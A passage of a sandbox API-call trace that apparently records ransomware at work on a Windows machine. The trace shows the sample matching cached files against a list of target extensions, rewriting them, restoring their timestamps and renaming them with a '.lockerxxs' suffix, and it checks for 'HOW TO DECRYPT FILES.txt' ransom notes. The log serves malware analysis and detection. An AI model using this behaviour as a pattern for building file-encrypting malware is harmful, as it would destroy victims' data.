HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.txt") returned 0 [0083.218] lstrlenA (lpString="*.txt") returned 5 [0083.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.jpeg") returned 0 [0083.218] lstrlenA (lpString="*.jpeg") returned 6 [0083.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.jpg") returned 1 [0083.218] lstrlenA (lpString="*.jpg") returned 5 [0083.218] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" [0083.218] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" [0083.218] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg." [0083.218] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.lockerxxs" [0083.218] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.219] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1c9b [0083.219] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45ade190, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45ade190, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.219] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.219] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1c75, lpOverlapped=0x0) returned 1 [0083.221] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg") returned="BBE8aLO[1].jpg" [0083.221] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.221] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1c75, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1c75, lpOverlapped=0x0) returned 1 [0083.221] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.222] CloseHandle (hObject=0xa4) returned 1 [0083.222] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg.lockerxxs")) returned 1 [0083.222] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a45c10, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a45c10, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a45c10, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEd5bF[1].jpg", cAlternateFileName="BBED5B~1.JPG")) returned 1 [0083.222] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEd5bF[1].jpg") returned 1 [0083.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEd5bF[1].jpg") returned 1 [0083.223] lstrcmpiA (lpString1="", lpString2="BBEd5bF[1].jpg") returned -1 [0083.223] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg") returned="BBE8aLO[1].jpg" [0083.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.223] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.223] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEd5bF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" [0083.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.ems") returned 0 [0083.223] lstrlenA (lpString="*.ems") returned 5 [0083.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.db") returned 0 [0083.223] lstrlenA (lpString="*.db") returned 4 [0083.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.dbf") returned 0 [0083.223] lstrlenA (lpString="*.dbf") returned 5 [0083.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.myox") returned 0 [0083.223] lstrlenA (lpString="*.myox") returned 6 [0083.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.myo") returned 0 [0083.223] lstrlenA (lpString="*.myo") returned 5 [0083.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qbw") returned 0 [0083.223] lstrlenA (lpString="*.qbw") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qbb") returned 0 [0083.224] lstrlenA (lpString="*.qbb") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qbm") returned 0 [0083.224] lstrlenA (lpString="*.qbm") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qbo") returned 0 [0083.224] lstrlenA (lpString="*.qbo") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qbx") returned 0 [0083.224] lstrlenA (lpString="*.qbx") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qba") returned 0 [0083.224] lstrlenA (lpString="*.qba") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qby") returned 0 [0083.224] lstrlenA (lpString="*.qby") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qbj") returned 0 [0083.224] lstrlenA (lpString="*.qbj") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.ofx") returned 0 [0083.224] lstrlenA (lpString="*.ofx") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.qif") returned 0 [0083.224] lstrlenA (lpString="*.qif") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.mye") returned 0 [0083.224] lstrlenA (lpString="*.mye") returned 5 [0083.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.mbox") returned 0 [0083.225] lstrlenA (lpString="*.mbox") returned 6 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.eml") returned 0 [0083.225] lstrlenA (lpString="*.eml") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.pst") returned 0 [0083.225] lstrlenA (lpString="*.pst") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.ost") returned 0 [0083.225] lstrlenA (lpString="*.ost") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.idx") returned 0 [0083.225] lstrlenA (lpString="*.idx") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.dbx") returned 0 [0083.225] lstrlenA (lpString="*.dbx") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.sql") returned 0 [0083.225] lstrlenA (lpString="*.sql") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.mdb") returned 0 [0083.225] lstrlenA (lpString="*.mdb") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.fdb") returned 0 [0083.225] lstrlenA (lpString="*.fdb") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.wab") returned 0 [0083.225] lstrlenA (lpString="*.wab") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.dat") returned 0 [0083.225] lstrlenA (lpString="*.dat") returned 5 [0083.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.txt") returned 0 [0083.226] lstrlenA (lpString="*.txt") returned 5 [0083.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.jpeg") returned 0 [0083.226] lstrlenA (lpString="*.jpeg") returned 6 [0083.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", pszSpec="*.jpg") returned 1 [0083.226] lstrlenA (lpString="*.jpg") returned 5 [0083.226] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" [0083.226] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" [0083.226] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg." [0083.226] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.lockerxxs" [0083.226] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.226] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x702 [0083.227] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45a45c10, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45a45c10, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45a45c10, dwHighDateTime=0x1d2faf3)) returned 1 [0083.227] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.227] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6dc, lpOverlapped=0x0) returned 1 [0083.229] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg") returned="BBEd5bF[1].jpg" [0083.229] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.229] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6dc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6dc, lpOverlapped=0x0) returned 1 [0083.229] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.229] CloseHandle (hObject=0xa4) returned 1 [0083.230] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg.lockerxxs")) returned 1 [0083.230] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50ebbff0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50ebbff0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50ebbff0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xaca8, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEdDNm[1].jpg", cAlternateFileName="BBEDDN~1.JPG")) returned 1 [0083.230] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEdDNm[1].jpg") returned 1 [0083.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEdDNm[1].jpg") returned 1 [0083.230] lstrcmpiA (lpString1="", lpString2="BBEdDNm[1].jpg") returned -1 [0083.231] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg") returned="BBEd5bF[1].jpg" [0083.231] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.231] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.231] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS 